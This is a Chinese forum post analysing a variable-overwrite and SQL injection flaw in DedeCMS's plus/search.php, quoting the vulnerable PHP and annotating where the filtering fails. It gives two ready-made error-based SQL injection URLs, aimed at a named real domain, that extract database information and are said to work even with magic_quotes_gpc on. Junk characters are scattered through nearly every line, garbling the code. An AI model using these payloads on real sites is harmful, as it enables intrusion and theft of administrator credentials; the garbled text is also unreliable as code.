微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.0 p# _4 k: w4 K2 h
作者: c4rp3nt3r@0x50sec.org
1 l. n2 O$ b& e/ S$ G" M( EDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.0 f# n- V: s2 ~+ y: W% G0 B
9 j+ l' w; }: v
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.# i( F+ f8 B0 h, l6 h
3 } ?- d; M6 z+ {( k" [============$ g. ]& i" j% X3 m+ ~) j: \
( C# J( H) n7 a, S O# g; g1 |- o
/ P# P9 H W' J4 x$ RDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码. M) [8 S# J" R) I# H* \
' y0 K8 v' E J, n1 e4 t) grequire_once(dirname(__FILE__).”/../include/common.inc.php”);. K5 K' Y& h7 B& a$ h9 w( w* o5 Y
require_once(DEDEINC.”/arc.searchview.class.php”);
6 e$ \4 A) s4 V1 S2 p/ | 6 t, U( w$ \( h7 t
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
6 H- p& e2 o& `/ |$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;6 ` R7 Y1 V: Q H T# V& P
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;5 z0 Y/ d8 U: X1 ^4 W) L3 J
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;9 u5 W# x I* {1 P. `9 r3 b
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;% J& K2 i# z) D0 o9 c" ?
; j1 F( j0 B3 q6 }2 Dif(!isset($orderby)) $orderby=”;
% F" k) D9 I* {* t0 Velse $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);' Y& L6 ^! I2 v; p% J) R
0 |- _3 V$ t. S$ D' D! B# C% ^ + Z3 t" I) c0 [. k6 @0 v
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
: f, Y( o8 D8 m0 {; Celse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
; C/ ?5 V- E* }' w- R, ?! ?8 u
( e! G- c* E0 o* cif(!isset($keyword)){
( [" P" g/ f/ B; b" k. o0 S if(!isset($q)) $q = ”;
* ?# X: O0 ]- S8 P+ z $keyword=$q;
" h0 g2 \+ W7 s# ~}
" h& W( `% J- ~/ R& t/ J7 k' `
; w/ U% t: f5 Z4 e$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
! X8 ?, V2 ^ | $ K5 E) {1 x0 k y1 v; \2 P4 d
//查找栏目信息0 p* `" f' m7 w& y
if(empty($typeid))+ h) _: \: c2 t% g3 C; S
{9 E6 H' j$ t. w# f4 h
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;" V: W; c4 L+ S* [' |8 k
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )# T. x' L3 \ D' |4 N
{
. z7 S0 f: v# {1 j% t6 x, J# O$ O $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);. ?8 \3 K1 H% J
fwrite($fp, “<”.”?php\r\n”);8 F. K; R7 H% B/ `# _4 U7 Y4 P4 g
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);& @4 h) x0 k) o! n1 Q, H9 q4 L
$dsql->Execute();5 w; r0 ~1 i/ X* Z, C! _/ N
while($row = $dsql->GetArray())8 D4 n$ N+ v$ R( d% {, ~
{
, p% r7 k' O' d( X+ e fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
! p. N& Y0 v3 N+ q }
2 x( G' ]7 V4 W; [0 _# B9 C* O1 Z fwrite($fp, ‘?’.'>’);
' F, Y8 _6 d. R3 i5 b fclose($fp);
5 ?. N( Z: w# T6 r" W2 ]# R }$ j! Z! s9 V' Z
//引入栏目缓存并看关键字是否有相关栏目内容
# u- s5 n8 A4 p% F# o% K* }; T require_once($typenameCacheFile);; c# f& F' |5 h0 p
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
+ c* g4 r; s3 z//
' G# s9 N- D3 t- { if(isset($typeArr) && is_array($typeArr))
9 [4 c' t& z3 ?/ B {, n0 z- W7 O) k/ |' P
foreach($typeArr as $id=>$typename)
* i/ n$ N3 h$ q- m; c$ g& H. l( Y {- k; H2 P7 `0 G0 h
( Q3 r" L6 h/ e! M* F5 m <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过" E4 e- d/ U/ j/ F( U% p
if($keyword != $keywordn)
* d) n4 `, |) |' m# [ {5 [" f4 P8 q# A- h( d' h' U$ S
$keyword = $keywordn;
+ N/ ]9 h" P& c1 { <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设5 W& @$ D7 _3 G
break;
9 g, M5 d) E$ r/ e( _7 V/ r }3 L7 j$ B `% p. B8 M
}
, o( f( i- z) N1 L- b/ X }
8 U4 z. t I3 I& R: k! {8 Z" m}0 A. [5 W% k z2 I+ y0 `6 |9 u) P0 P! u
然后plus/search.php文件下面定义了一个 Search类的对象 .
; d- k j8 U# o9 R9 ~, p9 }6 E1 q在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
/ d) b, m. U% n# v+ J$this->TypeLink = new TypeLink($typeid); d6 Y; l2 b o- \* D6 i. L
6 y2 s* {& C) p) J9 {3 YTypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.& W4 e+ g4 u) {% w
' N. J1 R X6 E# Y) ~7 Z
class TypeLink
$ A1 Z- x1 d' Y5 n7 |; g3 }{
' o1 q5 g( \7 _$ Q- F3 v; {1 r var $typeDir;9 V4 Z" l1 m! X# a( E4 C% Y# v
var $dsql;
9 Y8 U; Q* L' o8 ?3 V! e var $TypeID;
& X9 W7 I3 C# T6 [( a var $baseDir;
. {- x% R) T4 a* Y/ L- e var $modDir;
6 m" X8 J8 @ a( J l5 ? var $indexUrl;
5 `# _' o) X0 h var $indexName;
5 Q- B% D$ X; ` var $TypeInfos;) a6 [+ C5 r, {9 h, T, `9 m
var $SplitSymbol;6 X. p% t* k v' _) k
var $valuePosition;
+ I5 q. v% T4 J0 z3 _& p var $valuePositionName;# K7 p. F! M9 P: x8 l
var $OptionArrayList;//构造函数///////2 a) M' }1 {, D
//php5构造函数" P% J! q; t& n: Y: Z. T" ^5 h
function __construct($typeid)2 l8 c- f" y+ |& t8 z
{/ w# a* {" i* o4 x1 ~4 h
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];0 D' K$ X/ q1 I: y% h; m: J" v
$this->indexName = $GLOBALS['cfg_indexname'];
& b; S; p" ~: {9 u, E& Q6 }" | $this->baseDir = $GLOBALS['cfg_basedir'];
: ?0 {" \% ]& }+ q $this->modDir = $GLOBALS['cfg_templets_dir'];
5 [" I/ X$ G6 {# n$ W* M $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
% S% G% v$ W, H1 v $this->dsql = $GLOBALS['dsql'];% p7 F {9 {9 k4 S9 {2 Q
$this->TypeID = $typeid;
; ^, [9 y6 ?$ F: [# I5 ] $this->valuePosition = ”;$ _6 l1 T& _2 k/ o
$this->valuePositionName = ”;" s; g5 P* J' P" H' Q
$this->typeDir = ”;
5 ^( h0 d6 T; l9 R/ [+ N2 V $this->OptionArrayList = ”;
* A5 i4 w7 ~& w1 O' [2 Z, f+ Q( K3 F
# B. z( |$ k& B x //载入类目信息
0 |" P# K. y0 m8 M
+ K0 |" G/ Q; O# o1 S6 P <font color=”Red”>$query = “SELECT tp.*,ch.typename as+ r0 M% N( q! {# Q7 A) e* \) n! |# i! ]
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join. O3 _. q7 {. T+ |' w$ z
`#@__channeltype` ch6 K/ d# {1 B% `5 Y: K# X
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿0 H/ H( v$ D% V3 N
1 V" V$ i( @. D" S" f& P! _' } if($typeid > 0)* F1 z5 u2 f# O* T+ o' C9 \; |6 @
{4 w+ y2 f: ?4 [, d7 P0 t
$this->TypeInfos = $this->dsql->GetOne($query);6 H. _1 ?6 k6 B( q* p {4 d" o: \
利用代码一 需要 即使magic_quotes_gpc = Off9 [& l; V% w2 P7 ~6 A& _$ `5 i
: P/ K+ u) P* b: T/ W& jwww.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title" H$ X, i) Z; t5 u& ]
2 K7 {$ |, E1 q" {" M# n2 }% n" m
这只是其中一个利用代码… Search 类的构造函数再往下
`2 d: g3 R7 z 4 Q% Y; X/ F1 B7 Q' P2 B; {7 g/ L
……省略
v0 H/ {" I7 x9 x$this->TypeID = $typeid;4 K+ o# }" u4 v- I
……省略$ f' d; y8 U' b' V
if($this->TypeID==”0″){4 X" e* f2 z5 v8 C6 P
$this->ChannelTypeid=1;
9 s3 C+ |7 g6 A* t9 _9 Q0 L0 L3 | }else{
5 ?! @9 y& Q% A% Q i' q $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲' T% y' q! E" y L# x
//现在不鸡肋了吧亲…: a/ o) v* k4 P( L& N# Q/ w/ x
$this->ChannelTypeid=$row['channeltype'];6 {4 O" @6 g, @
, \! X5 ~1 U3 ^7 I2 @0 b# P
}3 [. O9 H" {7 A2 Q
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
, {. k. Y( `! J
2 ^. ]! m9 Q- Q' V- b6 a& d6 Uwww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
+ [, {! _) U J; H' Z8 N4 C1 q 3 _+ z+ u, b; \. X
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站% q1 N9 n1 L w Z
|